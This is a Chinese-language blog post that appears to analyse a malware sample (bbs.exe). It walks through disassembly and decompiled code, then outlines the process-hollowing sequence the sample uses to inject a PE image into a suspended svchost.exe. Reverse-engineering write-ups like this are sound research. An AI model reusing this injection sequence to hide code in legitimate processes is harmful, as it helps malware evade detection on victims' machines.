1. 起因
某次卡饭hips浏览中,看到某高大上进程注入方式(主要是某人头发长),惊为天人,技术堪称猥琐之王(抬高了?),额。。。不捧了。由于没有样本,也没有搜索到资料,只能作罢。
某天,突然来了兴致,要分析个样本,随便在卡饭样本区下了个感觉挺啥啥的样本,一分析,你妹,咋这么熟悉呢,居然就是同类的进程注入,然后某人就有了下面的文章。
2. 分析与实现
2.1 PEID
壳信息:Microsoft Visual C++ v6.0,无壳
文件名:bbs.exe
既然无壳,直接ida先分析一下,遇到无法分析的OD继续调试。
2.2 分析
打开IDA,拖入文件,找到主函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15.text:0040A720 ; int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
.text:0040A720
.text:0040A720 push ebp
.text:0040A721 mov ebp, esp
.text:0040A723 push ecx
.text:0040A724 call sub_408BE0
.text:0040A729 mov esp_4FEE68, esp
.text:0040A72F mov esp_4FEE6C, ebp
.text:0040A735 call sub_408929//主功能函数
.text:0040A73A mov [ebp+var_4], eax
.text:0040A73D mov eax, [ebp+var_4]
.text:0040A740 mov esp, ebp
.text:0040A742 pop ebp
.text:0040A743 retn 10h
.text:0040A743 _WinMain@16 endp
没什么东西,继续sub_408929:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22.text:00408929 sub_408929 proc near ; CODE XREF: WinMain(x,x,x,x)+15
.text:00408929 cld
.text:0040892A fninit
.text:0040892C call myNewObj
.text:00408931 push offset sub_406C2A
.text:00408936 mov eax, 3
.text:0040893B call myInitFunc
.text:00408940 add esp, 4
.text:00408943 call sub_40101D//这几个都是些无用函数,多半是花指令
.text:00408948 call sub_406B84
.text:0040894D call sub_406BDB
.text:00408952 call sub_401000
.text:00408957 call sub_406BBE
.text:0040895C call sub_406BA1
.text:00408961 call sub_406BF8
.text:00408966 call myReleaseFile//文件释放,可能是功能文件
.text:0040896B push eax ; uExitCode
.text:0040896C call nullsub_1
.text:00408971 call j_myExit
.text:00408976 add esp, 4
.text:00408979 retn
.text:00408979 sub_408929 endp
其他函数都没有什么重要的代码,接着看看myReleaseFile,代码太多,直接f5看看整体流程,结构:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51int __cdecl myReleaseFile()
{
lpMem = "QzpcUHJvZ3JhbSBGaWxlc1xDb21tb24gRmlsZXNcTWljcm9zb2Z0IFNoYXJlZFxNU0luZm9ca2trLnR4dA==";// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
v12 = (void *)myBase64Dec(&lpMem);
if ( lpMem )
j_myIsInMyImg(lpMem);
v1 = (int)v12;
if ( !v12 )
v1 = (int)dword_416285;
pszPath = (LPCSTR)myFormat(ebp0, 1, (unsigned int)v1, 0x80000005u);// C:\Program Files\Common Files\Microsoft Shared\MSInfo\kkk.txt
v2 = (int)v12;
if ( v12 )
j_myIsInMyImg(v12);
v10 = (int *)&v6;
v3 = PathFileExistsA(pszPath);
if ( (void **)v10 != &v6 )
v3 = myRunError(v2, 6);
v9 = v3;
if ( pszPath )
j_myIsInMyImg((void *)pszPath);
if ( v9 == 1 )
{
lpMem = "我是一个中国人";//恩,很爱国
v12 = "34,85,10,1D,04,D1,CF,42,DF,A4,B0,";
pszPath = (LPCSTR)myDecStr(&v12, &lpMem); // 字符串解密,"svchost.exe"
if ( v12 )
j_myIsInMyImg(v12);
if ( lpMem )
j_myIsInMyImg(lpMem);
v4 = j_myNewBuf(ebp0, 0x10u);
v10 = (int *)v4;
*(_DWORD *)v4 = 0;
*((_DWORD *)v4 + 1) = 0;
*((_DWORD *)v4 + 2) = 0;
*((_DWORD *)v4 + 3) = 0;
v9 = 0;
v8 = 0;
v7 = 0;
v6 = &unk_4162BE;
myWork(&v6, &v7, 0, &pszPath, 1, 0, 0, 0, 0, &v10, 0);//注入进程的功能,代码中很多混淆
if ( v6 )
j_myIsInMyImg(v6);
if ( v7 )
j_myIsInMyImg(v7);
if ( pszPath )
j_myIsInMyImg((void *)pszPath);
j_myIsInMyImg(v10);
sub_40574F();
}
return 0;
}
由于在myWork中太多混淆,IDA无力,转战OD,看到高大上的进程注入。由于代码混淆,太多PE操作,而且IDA没有有效识别内存拷贝函数,给分析带来了较大困难。
下面是主要的进程注入用到的函数表,myWork中调用这些关键函数,都是通过该函数表调用,里面通过loaddll+getprocaddress获取到函数地址,返回,然后调用:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25.data:004FB87F myLocalSize1 dd offset myLocalSize ; DATA XREF: .text:00402CAC r
.data:004FB883 myRtlMoveMemory1 dd offset myRtlMoveMemory ; DATA XREF: .text:00402F32 r
.data:004FB887 myLocalSize2 dd offset sub_4089DC ; DATA XREF: .text:00403303 r
.data:004FB88B myRtlMoveMemory2 dd offset sub_4089F2 ; DATA XREF: .text:00403701 r
.data:004FB88F myLocalSize3 dd offset sub_408A08 ; DATA XREF: .text:00403A06 r
.data:004FB893 myCreateProcessA dd offset sub_408A1E ; DATA XREF: .text:00403DEE r
.data:004FB897 myGetThreadContext dd offset sub_408A34 ; DATA XREF: sub_403FC0+C8 r
.data:004FB89B myReadProcessMemory dd offset sub_408A4A ; DATA XREF: sub_403FC0+2E9 r
.data:004FB89F myZwUnmapViewOfSection dd offset sub_408A60 ; DATA XREF: sub_403FC0+335 r
.data:004FB8A3 myVirtualAllocEx dd offset sub_408A76 ; DATA XREF: sub_403FC0+3AC r
.data:004FB8A7 myWriteProcessMemory dd offset sub_408A8C ; DATA XREF: sub_403FC0+43F r
.data:004FB8AB myLocalSize5 dd offset sub_408AA2 ; DATA XREF: sub_403FC0+9A7 r
.data:004FB8AF myRtlMoveMemory_0 dd offset sub_408AB8 ; DATA XREF: sub_403FC0+B0E r
.data:004FB8B3 myVirtualProtectEx dd offset sub_408ACE ; DATA XREF: sub_403FC0+D60 r
.data:004FB8B7 myWriteProcessMemory_0 dd offset sub_408AE4 ; DATA XREF: sub_403FC0+DD2 r
.data:004FB8BB mySetThreadContext dd offset sub_408AFA ; DATA XREF: sub_403FC0+FA8 r
.data:004FB8BF myResumeThread dd offset sub_408B10 ; DATA XREF: sub_403FC0+1172 r
.data:004FB8C3 myWaitForSingleObject dd offset sub_408B26 ; DATA XREF: sub_403FC0+11AD r
.data:004FB8C7 myCloseHandle_ dd offset sub_408B3C ; DATA XREF: sub_403FC0+11E6 r
.data:004FB8CB myGetEnvironmentVariableA dd offset sub_408B52
.data:004FB8CF myTerminateProcess dd offset sub_408B68 ; DATA XREF: sub_4053DE+1E r
.data:004FB8D3 myReadFileEx dd offset sub_408B7E ; DATA XREF: sub_405FAA+1E2 r
.data:004FB8D7 myGetFileSize dd offset sub_408B94 ; DATA XREF: sub_4063B0+DF r
.data:004FB8DB myCloseHandle dd offset sub_408BAA ; DATA XREF: sub_4064C4+1D r
.data:004FB8DF myLocalFree dd offset sub_408BC0 ; DATA XREF: sub_4065D9+541 r
获取函数的代码结构:1
2
3
4
5
6
7
8.text:004089B0 myLocalSize proc near ; CODE XREF: .text:00402CAC p
.text:004089B0 ; DATA XREF: .data:myLocalSize1 o
.text:004089B0 push offset myLocalSize1 ; int
.text:004089B5 push offset aLocalsize ; "LocalSize"
.text:004089BA push offset aKernel32 ; "kernel32"
.text:004089BF call myGetProc
.text:004089C4 jmp eax
.text:004089C4 myLocalSize endp
最后基本总结了myWork的代码逻辑,也一窥了进程注入的猥琐:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17CreateProcessA(0, "svchost.exe", 0, 0, 0, 4/*CREATE_SUSPENDED*/, 0, 0, &sa, &pi );//按suspend创建进程,这样主线程就会挂起,等待后面的宰割
GetThreadContext(pi.hThread, &context);
ReadProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, buf, 4, &size); /*获取到的是img基地址 peb->ImageBaseAddress*/
ZwUnmapViewOfSection(pi.hProcess, buf);//这里有个bug,buf传递方式错误,导致无法unmap,应该是&buf
VirtualAllocEx(pi.hProcess, 0x400000, size, MEM_COMMIT|MEM_RESERVE/*0x3000*/, PAGE_READWRITE/**4/ );
//解析PE文件,写入进程对应位置
WriteProcessMemory(pi.hProcess, 0x400000, buf, 0x1000, &size);//写入头部
for(i =0 ;i<num_of_sec; i++)
{
WriteProcessMemory(pi.hProcess, 0x400000+sec[i].va, buf, sec[i].size, &size);//.text, .rdata, .data
VirtualProtectEx(pi.hProcess, 0x400000+sec[i].va, sec[i].size, NewProtect, &oldProtect);//PAGE_EXECUTE_READ, PAGE_READONLY, PAGE_READWRITE
}
//重写eop
//重写基地址
WriteProcessMemory(pi.hProcess, 0x7ffde008/*peb->ImageBaseAddress*/, MyBaseAddr, 4, &size);//写入我的img 基地址 0x400000
SetThreadContext(pi.hProcess, context);//恢复
ResumeThread(pi.hThread);//恢复线程执行
3. 总结
本来打算完整分析一下的,在分析到进程注入时,由于自己代码实现中,遇到了一些问题,调试无语,eop和基地址都改写了,那么就是映射section遇到问题,终于修改成
直接pe完整写入宿主进程,成功执行了注入进程的功能。
所以,后面也没时间具体分析样本的功能了。
测试了该方式,无法过掉主防,在WriteProcessMemory就会被拦截,所以该方式基本只是作为技术研究,直接使用,还需努力。
4. 参考
[1] http://www.cnblogs.com/lbq1221119/archive/2008/07/22/1248706.html
[2] http://blog.csdn.net/darthas/article/details/12569443